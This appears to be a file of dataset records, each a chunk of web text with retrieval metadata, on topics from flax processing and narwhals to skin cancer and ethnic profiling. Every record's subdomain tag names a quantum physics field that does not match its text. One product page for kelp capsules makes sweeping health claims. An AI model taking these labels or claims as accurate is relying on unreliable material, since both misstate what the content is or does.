century, laws were enacted requiring that a quarter of an acre ( one rood ) of flax be planted for every sixty acres under cultivation. linen and wool were the two most common fibers, often combined in linsey - woolsey, a fabric with warp threads of linen for strength and weft threads of wool providing bulk and warmth. although flax has many advantages as a fiber crop, its overwhelming disadvantage is the amount of labor, skilled and otherwise, required from sowing to harvest. flax needs a deep, rich soil, and, like tobacco, quickly depletes the nutrients from the land where it is planted. in early settlement days in virginia, that meant it could only be raised on newly - cleared ground. after two or three years of a flax crop, a farmer needed to sow a less nutritionally - demanding crop, such as wheat. later in the colonial period, farmers could incorporate flax into a rotation process", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4664985553688545, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.869039"} {"text": "on newly - cleared ground. after two or three years of a flax crop, a farmer needed to sow a less nutritionally - demanding crop, such as wheat. later in the colonial period, farmers could incorporate flax into a rotation process which included heavy dunging or the sowing of cow peas a year or two before the next flax crop was to be planted. after plowing in november, february and march, the ground was harrowed and raked fine. the small, oily flaxseeds were sown broadcast in april and a final harrowing took place. the closer the seeds were spaced, the less branching took place in the resultant plants and the higher the quality of the crop. if flax is sown properly, weeding is unnecessary because there is no space for unwanted plants. flax takes about a hundred days to mature. when the leaves yellow and the seed turn brown, the flax is pulled from the ground by the roots, spread to dry for a few days, and, if time was not a factor, stored until the next year to age. processing flax is an extremely labor - intensive process, providing skilled and unskilled employment for both adults and children. first, the upper part of the flax bundles are drawn through coarse combs to remove seed in a process called rippling. after the seeds are removed, it is necessary to separate the long, silky inner fibers which constitute the end product from the straw and inner pitch. retting, in which the unwanted fibers are loosened and decomposed, can be achieved in several ways. the flax can be left out in the field, where the exposure to the elements, particularly the moisture in the air, can do the work. a pond or through can be used to achieve the same effect in much less time, but with a prodigious odor. the ideal way to ret flax is to expose it to constantly running water, such as a stream. the amount to time this step requires depends on the quality of the flax, the temperature and numerous other variables. when the straw comes away easily from the few bent fibers, it is time to grass the flax. the bundles are untied and laid in a field for a few days until they are dried on one side, then turned so the other side can be dried. when the crop is thoroughly moisture free, it is stacked inside to age for a few more weeks. next, a series of steps free the linen fiber from the boon (", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4874129539731307, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.870103"} {"text": "are dried on one side, then turned so the other side can be dried. when the crop is thoroughly moisture free, it is stacked inside to age for a few more weeks. next, a series of steps free the linen fiber from the boon ( unwanted plant material ). the brake, a large wooden machine, is used to break down the trash material and loosen it further from the end product. then the flax is scutched ( beaten against a board with a blunt wooden knife ). the final process is hackling, in which the fiber is drawn through a series of metal combs to remove the last of the boon and shorter fibers. the end result is a strick, a half - pound bundle of long, light grey fibers which resemble human hair. over 85 % of the plant has been removed before the strick is produced. some of the shorter fibers removed during hackling can be used as tow for sacking or inferior cloth. since flax is such a long fiber, special care must be given before spinning to keep it from tangling. a distaff is a tool which keeps the fibers separated and properly aligned during spinning. thread is produced using the small wheel often called a flax wheel. an experienced spinner has little difficulty creating a fine, strong thread with flax. in order to produce a smooth yarn, however, she must also be able to moisten the flax continuously as she is spinning. after the thread is spun, it must be stretched and boiled to set the twist put into it by spinning. bleaching can be done either before or after weaving, by exposing the fiber to sunlight for prolonged periods or using such chemical treatments as chloride of lime, soap and soda or lye water. today, eastern europe produces 80 % of the world ' s flax crop. france, china, egypt, holland and belgium provide flax as well. due to increasingly efficient mechanical harvest and processing, this ancient fiber is becoming more popular than a generation ago. beverley, robert. the history and present state of virginia. clark, alice. working life of women in the seventeenth century. davenport, elsie g. your handspinning. diderot, denis. a diderot pictorial encyclopedia of trades and industry. fannin, allen. handspinning : arts and techniques. goodrich, frances louisa. mountain homespun. hartley, dorothy. lost country life. kluger, marilyn. your handspinning. linder, olive and harry. handspinning flax.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4852793905780687, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.871193"} {"text": "northern research station 11 campus blvd., suite 200 newtown square, pa 19073 ( 610 ) 557 - 4132 tty / tdd title : carbon stocks in urban forest remnants : atlanta and baltimore as case studies. chapter 5. author : yesilonis, ian d. ; pouyat, richard v. publication : dordrecht, netherlands : springer : 103 - 120. key words : urban, forest, carbon, land use, management abstract : urban environments influence carbon ( c ) and nitrogen ( n ) cycles of forest ecosystems by altering plant biomass, litter mass and chemistry, passive and active pools of c and n, and the occurrence and activity of decomposer organisms. it is difficult to determine the net effect of c storage due to the number of environmental factors exerting stress on urban forests. using a conceptual model to synthesize results from gradient studies of forest patches in metropolitan areas, we attempt to explain the mechanisms affecting c cycling. we also assess the relative importance of c accumulation in urban remnant forests with respect to other land uses previously disturbed or managed. the cities of baltimore and atlanta are used as case studies. the c density of forest above - ground biomass for baltimore city, 8 kg m - 3, and atlanta, 10. 6 kg m - 3, is significantly higher for both medium - and high - density residential areas. baltimore city has a forest - soil c density of 10. 6 kg m - 3, a below - to - above ground ratio of 1. 3. urban forest remnants in these two cities store a high amount of c on a per - unit basis both above - and below ground relative to other land uses, but total c storage is lower due to the lower acreage of urban forest in these cities relative to other land uses. this document is in pdf format. you can obtain a free pdf reader from adobe. forest service home | usda. gov | recreation. gov", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5176188165686911, "token_count": 393, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.873224"} {"text": "press release 98 - 033 biomaterials are transforming medicine mit scientist and engineer describes a new field in an nsf lecture june 25, 1998 this material is available primarily for archival purposes. telephone numbers or other contact information may be out of date ; please see current contact information at media contacts. how can doctors deliver drugs in ways less invasive and more controlled than an injection? robert s. langer views the question as an engineering design problem. langer, germeshausen professor of chemical and biomedical engineering at mit, described how researchers are using biomaterials to create engineering solutions to medical problems in a lecture at the national science foundation ' s ( nsf ) headquarters on june 17. langer ' s lecture, \" biomaterials : from basic science and engineering to clinical practice, \" focused on advances in biomaterials, a field that langer pioneered. \" historically, materials have found their way into medicine by clinicians, \" he said. for the first artificial heart, doctors ' search for a strong substance with flexibility led them to use polyether urethane, found in girdles. \" i thought we could do better, \" said langer. after all, \" something designed as a lady ' s girdle might not be the best thing to put in a human body. \" since langer began his work in 1974, genetic engineering has made possible larger and larger \" macromolecule \" drugs, such as growth hormones. with the help of nsf grants, langer found that certain hydrophobic polymers made it possible to deliver macromolecular drugs like albumin into the body and at a controlled rate over a period of time. since then, biomaterials have enabled the slow release of ever - larger bioengineered proteins into the body, with release times ranging from one day to more than three years. products like lupron depot permit controlled release of medicines that would normally deteriorate in minutes to be released slowly over four months. \" i ' d like to think these are the tip of the iceberg, \" said langer. researchers are also working on ways to deliver growth hormones and methods to provide a constant release of insulin for diabetics. fortune magazine cited estimates that these new technologies will cause sales in the drug - delivery sector to almost triple, reaching $ 25 billion by 2006. for medicines like insulin, research is also exploring methods for administering doses in preprogrammed \" pulses, \" or on demand. using an oscilla", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5098035641339325, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.877169"} {"text": "cause sales in the drug - delivery sector to almost triple, reaching $ 25 billion by 2006. for medicines like insulin, research is also exploring methods for administering doses in preprogrammed \" pulses, \" or on demand. using an oscillating magnetic field, a wristwatch - like device could, for example, release a dose of insulin just before a diabetic ' s meal. the magnetic field would release the drug by squeezing drug - containing pores at a microscopic level. trials using such a device on mice are underway. with dr. henry brem, an oncologist at johns hopkins university, langer explored more focused drug delivery for types of brain cancer. treatment usually involves chemotherapy, which can have terrible side effects for the liver and other organs. for a more targeted release of the drug bcnu, doctors inserted a dime - sized polymer wafer containing bcnu in the surgical cavity at the tumor. as the polymer eroded, it released the drug over time directly to the tumor without the impediment of the blood - brain barrier. in this study, physicians have used the polymer wafers to treat thousands of brain cancer victims, with significant improvements. in tissue engineering, cells from a patient can be cultivated on a polymer mesh or \" scaffold \", allowing regeneration of the cartilage for an ear, for example. physicians could also apply these techniques to regenerate damaged tendons, sciatic nerve endings and skin tissue. \" we ' ve raised more questions than we ' ve answered, \" langer concluded, but biomaterials have already contributed products \" that can relieve suffering and prolong life for many people. \" gregory lester, nsf ( 703 ) 292 - 8070 firstname. lastname @ example. org frederick g. heineken, nsf ( 703 ) 292 - 7944 email @ example. com the national science foundation ( nsf ) is an independent federal agency that supports fundamental research and education across all fields of science and engineering. in fiscal year ( fy ) 2012, its budget was $ 7. 0 billion. nsf funds reach all 50 states through grants to nearly 2, 000 colleges, universities and other institutions. each year, nsf receives about 50, 000 competitive requests for funding, and makes about 11, 500 new funding awards. nsf also awards about $ 593 million in professional and service contracts yearly. get news updates by email useful nsf web sites : nsf home page : http : / / www. nsf", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5484458208614094, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.878175"} {"text": "kelp contains the complete spectrum of minerals needed by man, as they are contained in the ocean itself. aside from the fact that sea water as such is a veritable treasure trove of minerals, land minerals are constantly washing into the sea, enriching it still further ( ibid. ). even more important than the minerals needed in relatively large amounts, such as calcium, iron, phosphorus, potassium, and so forth, are the trace minerals - - iodine, copper, manganese, boron, zinc, etc. these minerals appear in minute quantities in food. our bodies need only microscopically small amounts of them. yet if that tiny amount is not there, we can die from the lack. one of the most important trace elements in kelp is iodine. this mineral is essential for the proper functioning of the thyroid which manufactures the hormone thyroxin. if an adequate amount of iodine is not provided in the diet, the thyroid gland is forced to work overtime and becomes enlarged in an effort to make up for the deficiency. this enlargement is known as goiter. kelp is a much better source of iodine than the much - touted iodized salt, which is chemically isolated sodium chloride to which potassium chloride has been added. most of us should not take as much salt as might be needed to supply the needed amount of iodine. kelp is the ideal source of iodine. to get the daily requirement of 100 micrograms of iodine estimated as the requirement for human beings you would need to consume : 10 pounds of fresh vegetables and fruits, or 8 pounds of cereals, grains and nuts, or 6 pounds of meat, fish, fowl, or 2 pounds of eggs, or 3 pounds of marine fish, or. 2 pounds of shellfish. used as a condiment, kelp could supply easily the amount required ; it contains 10 times as much iodine as american iodized salt ( rodc : 7 16 ). 100 % vegetarian capsules. | brand : | | christopher ' s original formulas ( more products ) | | size : | | 100 cap |", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.47903760200946344, "token_count": 435, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.881417"} {"text": "proteins provide the body critical amino acids that serve as building blocks for the formation of new muscle. but not all dietary proteins are equal. the major proteins in milk are casein and whey. these two milk proteins are both excellent sources of all the essential amino acids, but they differ in one important aspect \u2014 whey is a fast - digesting protein and casein is a slow - digesting protein. whey stimulates protein synthesis fast - digesting whey means it is emptied from the stomach quickly, resulting in a rapid and large increase in plasma amino acids. this translates into a quick but transient increase in protein synthesis, while protein breakdown is not affected. whey also has higher levels of leucine, a potent amino acid that stimulates protein synthesis. whey protein is superior at augmenting protein synthesis rapidly, but this positive effect is short - lived. consuming repeated doses of whey allows for sustained high levels of blood amino acids and repeated bursts of protein synthesis that provide superior effects on muscle protein balance. casein offers a positive protein balance casein is the most abundant protein in milk. it is relatively insoluble and tends to form structures called micelles that increase solubility in water. during the processing of milk, which usually involves heat or acid, the casein peptides and micelle structure become disturbed or denatured to form simpler structures. as a result, a gelatinous material is formed. this is the basis for why casein has a slower rate of digestion, and results in a slow but steady release of amino acids into circulation. in one study, researchers gave healthy subjects 30 grams of either whey protein or casein protein and made several measures of the anabolic and catabolic effect for 7 hours after the meal. whey protein resulted in a rapid increase in blood amino acids and protein synthesis, but it was short - lived. casein, on the other hand, resulted in a prolonged increase in blood amino acids that resulted in a 34 % reduction in protein breakdown. the net protein balance remained more positive after intake of casein protein over a 7 - hour period. the superior long - lasting effect of casein was attributed to a delayed gastric emptying and slower absorption rate from the gastrointestinal tract to the blood. whey and casein are better together since whey rapidly increases protein synthesis and casein blocks protein breakdown, a combination of both would be ideal. a recent study compared the effects of supplementing with either a combination whey and case", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5150812856602551, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.885466"} {"text": "the blood. whey and casein are better together since whey rapidly increases protein synthesis and casein blocks protein breakdown, a combination of both would be ideal. a recent study compared the effects of supplementing with either a combination whey and casein protein versus carbohydrate on several markers of muscle anabolism during strength training. 3 untrained men participated in a 10 - week resistance training program and either supplemented with 40 grams of carbohydrate or 40 grams of protein containing a mixture of whey and casein. half of the supplements were consumed one hour before and then immediately after exercise on workout days. the results were overwhelmingly positive for the combination protein group. despite similar background diets and identical training programs, supplementation with protein resulted in greater increases in several measures of muscle anabolism, including greater increases in lean muscle mass, thigh muscle mass, muscle strength, anabolic hormones and muscle specific proteins. in a similar study that lasted 14 weeks, untrained men performed resistance training and received either 25 grams of carbohydrate or 25 grams of a combination whey and casein protein one hour before and immediately after exercise. the combination protein group had significantly greater increases in muscle fiber size compared to the carbohydrate group. these studies provide strong evidence that a combination protein consumed before and after workouts increases muscle size. practical uses of whey and casein the science unequivocally shows that the digesting rate of protein is an important regulator of protein balance. whey provides a quick burst of protein synthesis while casein makes an ideal protein supplement to sustain long periods of an anabolic environment for muscle growth. based on these different characteristics, whey and casein can be used alone and in combination to exploit their unique biologic effects. for example, whey protein can be very effective before and after a workout and first thing in the morning. but since the benefits of whey after exercise are short - lived, you should consume a meal containing protein 20 - 60 minutes after drinking a post - workout whey protein shake. in one study, 30 grams of whey protein were provided in a sequence of 13 small meals given each 20 minutes. this was found to be far superior for muscle anabolism compared to a single meal of whey or casein. alternatively, a combination of whey and casein ( 20 grams ) could be consumed one hour before and immediately after exercise for a sustained benefit on protein balance. casein is a perfect protein for a shake", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.48820494015758953, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.886452"} {"text": "in the wake of the corpse whale biologists are discovering that commercial fishing and global warming imperil the narwhal ' s frozen corner of the globe it is 2 a. m. on a mid - august night, but the sun still hangs on the horizon, and the temperature hovers in the 30s. two biologists are standing watch on the rocky shoreline of creswell bay on somerset island in the eastern canadian high arctic. suddenly the dorsal ridge of a narwhal, a small arctic whale, surfaces in the bay and advances toward a net the scientists have stretched 150 feet out from shore. when the narwhal barrels into the net, the biologists sound the alarm. instantly, everyone in the nearby research camp clambers out of tents, dons orange survival suits and rushes to launch zodiacs for a race to the entrapped whale. soon, two boats circle the spot where the narwhal struggles underwater. the crews grab the net with thickly gloved hands and begin pulling the flailing 2, 600 - pound male to the surface, avoiding the long, slender tusk protruding from his snout. \" we have to react quickly so the animal doesn ' t drown, \" says mads peter heide - j\u00f8rgensen, a senior scientist at the greenland institute of natural resources. the animal pulls the inflatables back and forth, splashing the biologists, but they still manage to put a rope around his tail and slide straps under his body, gradually bringing the narwhal to the surface. with his tail out of the water and air in his lungs, the animal stops struggling. the biologists go to work, taking skin samples for dna studies and attaching to the whale ' s tusk a satellite transmitter that will record the animal ' s movements and the depths of his dives. in less than an hour, they are done, and the narwhal quietly moves off. until recently, scientists knew little about narwhal natural history. but biologists from greenland, denmark and the united states are generating a wealth of information about this lifelong denizen of regions above the arctic circle, where the narwhal feeds on a variety of deep - sea fish. this knowledge is arriving at a crucial time, as the narwhal is increasingly threatened by developing commercial fisheries and global warming. an adult narwhal ranges from 13 to 16 feet long, making it one of the smaller whale species. males average about 2", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4294754588886295, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.894221"} {"text": "arriving at a crucial time, as the narwhal is increasingly threatened by developing commercial fisheries and global warming. an adult narwhal ranges from 13 to 16 feet long, making it one of the smaller whale species. males average about 2, 700 pounds, females about 1, 800. the narwhal is the only whale with a tusk, one of two teeth growing from the upper jaw through the lip in an artful spiral, like braided strands of ivory ending in a sharp point. found primarily in males, tusks grow up to 6 feet long. viking traders in the 10th century sold narwhal tusks to foreigners, claiming the tusks came from unicorns. medieval europeans believed these tusks possessed magical properties. the tusk ' s value to the narwhal is still a matter for conjecture. males occasionally joust with them, but most biologists believe the tusks are simply advertisements to attract mates. though poaching for tusks continues, heide - j\u00f8rgensen thinks that the narwhal is more threatened by native inuit who increasingly use modern boats, radios and navigational equipment to hunt the whales for meat, which they sell for up to $ 14 a pound. inuits consider narwhal skin a delicacy. it is traded throughout greenland. \" it has a high level of vitamin c, \" says heide - j\u00f8rgensen. \" it ' s one of the reasons inuit society has survived without carrots, salads and cucumbers. \" narwhals - - the name is danish for \" corpse whale, \" apparently a reference to the species ' mottled, gray color - - live about 35 years, summering in high arctic bays and fiords in canada and greenland. in winter, almost the entire population of about 50, 000 animals moves south some 900 to 1, 250 miles to winter for six months in the dense pack ice of baffin bay and davis strait. the whales normally travel in groups of 15 to 30, although rune dietz, a senior scientist with the national environmental research institute in denmark, observed between 1, 000 to 2, 000 whales migrating together past a point in admiralty inlet one summer. \" they have this strict seasonal cycle, returning to the same places, following the same paths, arriving at the same time year after year, \" says kristin laidre, a research biologist at the university of washington in seattle. though the narw", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4637632594113865, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.896265"} {"text": "\" they have this strict seasonal cycle, returning to the same places, following the same paths, arriving at the same time year after year, \" says kristin laidre, a research biologist at the university of washington in seattle. though the narwhal takes some arctic squid, polar cod and arctic cod, its favorite food is greenland halibut. this fish has a high concentration of fat, rich in energy, something the narwhal needs for surviving the arctic. because halibut rest at the bottom of the bay, narwhals regularly dive to depths greater than 5, 000 feet to find them. \" narwhals are doing this for six months, all winter long, over and over again, \" says laidre, a behavior that ranks narwhals among the deepest divers, along with sperm whales and elephant seals. sperm whales have been recorded diving to 6, 300 feet and elephant seals to below 5, 000. heide - j\u00f8rgensen estimates the maximum depth for narwhals to be about 5, 500 feet. narwhals make relatively short, shallow dives in summer, gradually increase dive depth and duration in autumn and make their deepest dives in winter. hal whitehead, a sperm whale biologist at dalhousie university, in halifax, nova scotia, thinks the greatest advantage of deep diving for a living is the speed of the prey down there. \" surface waters have a lot of oxygen, \" he says. \" but when you get down below 1, 300 feet, there is little oxygen, and the escape responses of prey are weaker. \" to dive to these depths requires enormous biological adaptations. narwhals have a very high volume of blood per pound of muscle mass, almost twice that of humans. plus they have high levels of hemoglobin, the molecule in blood that captures oxygen. the whales carry oxygen down in their blood, not in their lungs, which collapse with increasing depth. the collapsing of the lungs keeps nitrogen out of the bloodstream, protecting the whale from the bends and rapture of the deep that attack humans who dive deeply. narwhals also avoid high - pressure nervous syndrome, which affects humans between 350 and 700 feet deep as increasing pressure strangles nerve cell membranes, leading to involuntary tremors, seizures and death. the whales glide right through these zones, shunting blood away from outer extremities and concentrating it on the heart and lungs. they also are such efficient swimmers", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.47305267875607426, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.897306"} {"text": "strangles nerve cell membranes, leading to involuntary tremors, seizures and death. the whales glide right through these zones, shunting blood away from outer extremities and concentrating it on the heart and lungs. they also are such efficient swimmers that the energy they use to dive to extreme depths is not much higher than that used when swimming in shallower waters. pack ice up to several yards thick is another challenge the narwhal faces in winter, when baffin bay almost completely freezes over. according to heide - j\u00f8rgensen, satellite images of the terrain show nothing but white. \" only when you go over it in a helicopter do you see the cracks and long narrow openings that are vital to the narwhal, \" he says. those cracks may decrease as winter progresses, constituting less than half a percent of the northern part of the bay by the end of march. but even this space is not guaranteed. open water can suddenly freeze during periods below minus 22 degrees f and without winds. that combination can be lethal to narwhals, which can get caught in shrinking holes and literally freeze solid. nearly 150 narwhals died when they were trapped in a small hole in the mouth of disko bay, west greenland, in 1994. ironically, scientists worry that increased entrapments might be one of the results of global warming. in general, the northern hemisphere is heating up, and sea ice is decreasing alarmingly in the arctic. but increased rains from global warming are reducing ocean salinity, a change that could shut down north atlantic currents that bring warm water from the equator. the result could be colder temperatures and increased ice in baffin bay. development of potential halibut fisheries in baffin bay also could affect narwhals. commercial fishers in canada, greenland and norway are all interested in what heide - j\u00f8rgensen refers to as \" one of the few pristine fish stocks left in the world. \" the fishery is a fairly recent find, and problems have yet to materialize, but experience elsewhere is not encouraging. local sport and subsistence fishers in sitka, alaska, for example, saw a steep decline in their fishery when commercial and charter vessels arrived in the 1990s. state statistics showed that local residents who had caught 3, 019 halibut in sitka sound in 1993 caught only 447 there in 1996. a management plan now divvies up the resources among competing interests. but heide - j\u00f8rgensen", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.48934847989544417, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.898298"} {"text": "showed that local residents who had caught 3, 019 halibut in sitka sound in 1993 caught only 447 there in 1996. a management plan now divvies up the resources among competing interests. but heide - j\u00f8rgensen wonders how fisheries managers off greenland will allocate the resources between fishermen and narwhals. increased ice and fishing would affect the narwhal in its winter range, where scientists believe the whales take most of their food. yet scientists have been unable to secure funds to study narwhals there. the biologists ' greatest concern is that survival challenges are mounting while data to monitor harm does not exist. for the narwhal, ignorance is not bliss, but peril. says heide - j\u00f8rgensen, \" these risks from climate change and increased fishing pressure are taking place in one of the remotest parts of the world, in the middle of winter, where it ' s completely dark, in offshore areas where the bulk of the narwhal population exists, and yet we know very little. a proper understanding of the difficulties these special animals are facing is urgent to ensure their long - term survival. \" michael tennesen wrote a feature article on the giant pacific octopus for the december / january 2003 issue. narwhal : a cetacean sensation what ' s special : although the narwhal is a small whale, averaging only 2, 700 pounds for males, it is the only whale that sports a tusk. the tusk : narwhals have only two teeth, both in the upper jaw. when males are about a year old, the left tooth erupts as it begins maturing into a tusk that can grow up to 6 feet long and weigh up to 22 pounds. about 3 percent of females grow tusks, but female tusks reach a maximum length of only 4 feet. some males grow two, although the right is always smaller than the left. range : in seas from the canadian arctic east to central russia, although sometimes found in eastern siberia, alaska and western canadian arctic. strays may occur as far south as newfoundland. numbers and status : although the species numbers not more than 50, 000, it is hunted both for food and tusks. inuit people eat narwhal skin raw and fat. tusks are sold to tourists and other markets. about 300 to 550 narwhals are taken yearly in canada and 560 in greenland.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.43995753969716545, "token_count": 511, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.899224"} {"text": "may is skin cancer awareness month! one in five americans will develop skin cancer in their lifetime, and the incidence of skin cancer is increasing in the united states in all age groups. reduce your risk with these tips : - yearly skin exams by a dermatologist help to detect early skin cancers. - wear spf > 30 sunscreen daily. reapply every 2 hours, even on cloudy days. - wear protective clothing when outside. - seek shade when outside, especially between the hours of 10am and 4 pm. - avoid tanning beds. - get vitamin d safely through a healthy diet and vitamin supplements. with early detection and proper treatment the most common skin cancers are 95 % curable. so schedule your screening today and prevent skin cancer! common types of skin cancer actinic keratosis ( ak ) these appear as dry, scaly spots. they are considered the earliest stage of skin cancer. aks can progress to squamous cell carcinoma, so they are usually treated. they form on skin that gets a lot of sun exposure, such as face, scalp, neck, forearms and hands. basal cell carcinoma ( bcc ) this is the most common type of skin cancer, and, in fact, is the most common type of cancer in the world. it presents as a white or pearly bump that may bleed if disturbed. bcc develops in sun exposed areas. if left untreated, it will enlarge and may damage normal structures in the area. it almost never spreads to distant parts of the body. squamous cell carcinoma ( scc ) this is the second most common type of skin cancer. it usually presents as a red, scaly area that may or may not be tender. if left untreated, it will grow larger. if left too long, or if the growth pattern ( determined by biopsy ) is aggressive, this type of cancer can spread to lymph nodes and other parts of the body. most often, however, it does not. this cancer is less common, but is the most serious of the three. it usually presents as a new or changing mole, but can present as a red bump. depending on the depth of the tumor ( determined by biopsy ) and growth pattern, it can spread rapidly to lymph nodes, the lungs or the brain. most melanomas spread laterally for some time, making the likelihood of catching it at an early stage greater. some, however, start their lives growing deep and", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43183089263989294, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.904906"} {"text": ", it can spread rapidly to lymph nodes, the lungs or the brain. most melanomas spread laterally for some time, making the likelihood of catching it at an early stage greater. some, however, start their lives growing deep and fast, and even with early intervention, may spread. in most patients these three types of skin cancer are associated with past and current sun exposure. it is important that you protect yourself from the sun, to help prevent further skin cancers or pre - cancerous changes. if you have had one of these cancers, you will need follow - up visits to a dermatologist throughout your life. this is to check for new cancers and to make sure the original cancer does not recur. what are the warning signs of melanoma? a change in an existing mole or a new dark mole that develops is often a first sign of melanoma. the abcde warning signs of melanoma can help detect change : a - asymmetry b - border irregularity c - color change d - diameter > 6mm e - evolution or change in an existing mole sun exposure, light skin, family history of skin cancer, types of moles, number of moles regular skin exams are important with early detection and treatment, the cure rate for scc and bcc is 95 %. if melanoma is detected before it spreads, the cure is also high. regular skin exams by a dermatologist help patients find skin cancer when they are most treatable. younger patients are developing skin cancer because of tanning bed use. if anyone has had a significant tanning bed use history, they should be screened in their 30s. tips for protecting your skin 1. apply a broad spectrum sunscreen daily with an spf of 30 or higher. reapply every 2 hours, even on cloudy days. 2. sun avoidance if possible or seek shade when outside between the hours of 10 am and 4 pm. 3. wear protective clothing 4. vitamin d can be maintained with healthy diets and vitamin supplements. 5. avoid tanning beds if you have any questions or concerns about skin cancer or moles, please call our office at 225 - 214 - 3199 to make an appointment with dr. laci theunissen. dermatology at bocage dr. laci theunissen, our board certified dermatologist, is an expert in treating and preventing diseases of the skin, scalp, hair and nails. in addition to treating common skin conditions such as acne, warts,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.42993677634200955, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.905861"} {"text": "bocage dr. laci theunissen, our board certified dermatologist, is an expert in treating and preventing diseases of the skin, scalp, hair and nails. in addition to treating common skin conditions such as acne, warts, moles, eczema, psoriasis and skin cancer, patients have access to many specialized treatments and services, including : - laser hair removal - vein reduction - tan towel meet our provider dr. laci theunissen, md board certified in dermatology laci theunissen, md earned her degree in medicine from the louisiana state university school of medicine and completed her internship at the louisiana state university health sciences center, both in new orleans. she performed her residency in dermatology at the university of oklahoma health science center in oklahoma city. if you need to find a dermatologist in baton rouge, make an appointment today by calling ( 225 ) 214 - 3199, or request an appointment using your mychart account. if you are a new patient, please click here to download the new patient forms. print, complete and bring with you on your first visit. dermatology at bocage 7855 jefferson hwy. baton rouge, la 70809 phone : ( 225 ) 214 - 3199 fax : ( 225 ) 214 - 8011", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.3787915021016372, "token_count": 267, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.907400"} {"text": "rosalind williams has a special place in the struggle against discrimination by european police forces against people of color and ethnic minorities. twenty years ago, she was stopped and asked for her identity papers by spanish police in a railway station. an african - american who had acquired spanish citizenship by marriage, she was travelling with her husband and son ; they were left alone by the police. the police officer explained he was obliged to stop people \u201c who looked like her, \u201d due to an order from the ministry of the interior, aimed at detecting illegal immigrants under the discriminatory assumption that spanish nationals could only be white. thus, the ministry ordered that people of color must produce their identity documents to the police whenever asked. rosalind was rightly shocked and angry. she filed a court complaint, which went all the way to the spanish constitutional court, where it was finally ruled upon in 2001, nine years after the stop. in the majority \u2019 s view, the stop was not discriminatory, as \u201c specific physical or ethnic characteristics can be taken into consideration as reasonably indicative of the national origin of the person who has them. \u201d thus, spain became the only country in the eu to have its highest court sanction the use of ethnic profiling. represented by lawyers from the open society justice initiative and women \u2019 s link worldwide, she then complained to the un human rights committee, which in 2009 agreed that she had been subject to discrimination and urged the spanish government to change its policy and issue a public apology to rosalind. the hrc \u2019 s findings were echoed in subsequent reports from regional and international human rights bodies, including the european commission against racism and intolerance, the un committee for the elimination of racial discrimination, or the european advisory committee for the protection of national minorities. twenty years since she was stopped, we asked rosalind williams whether she thought anything has changed in spain. she said she thinks that \u201c there is a greater awareness and a greater concern \u201d about ethnic profiling, but that police officers have adapated by looking for \u201c more subtle ways to ask people for their identification. \u201d as a result, she concluded, \u201c i do not think ethnic profiling has stopped. \u201d this january, mutuma rutureere, the u. n. special rapporteur on contemporary forms of racism, racial discrimination and xenophobia, agreed with rosalind \u2019 s conclusion, after conducting an official visit to spain, where he met government and police officials and civil society groups. the information he received included a submission from the justice initiative highlighting the", 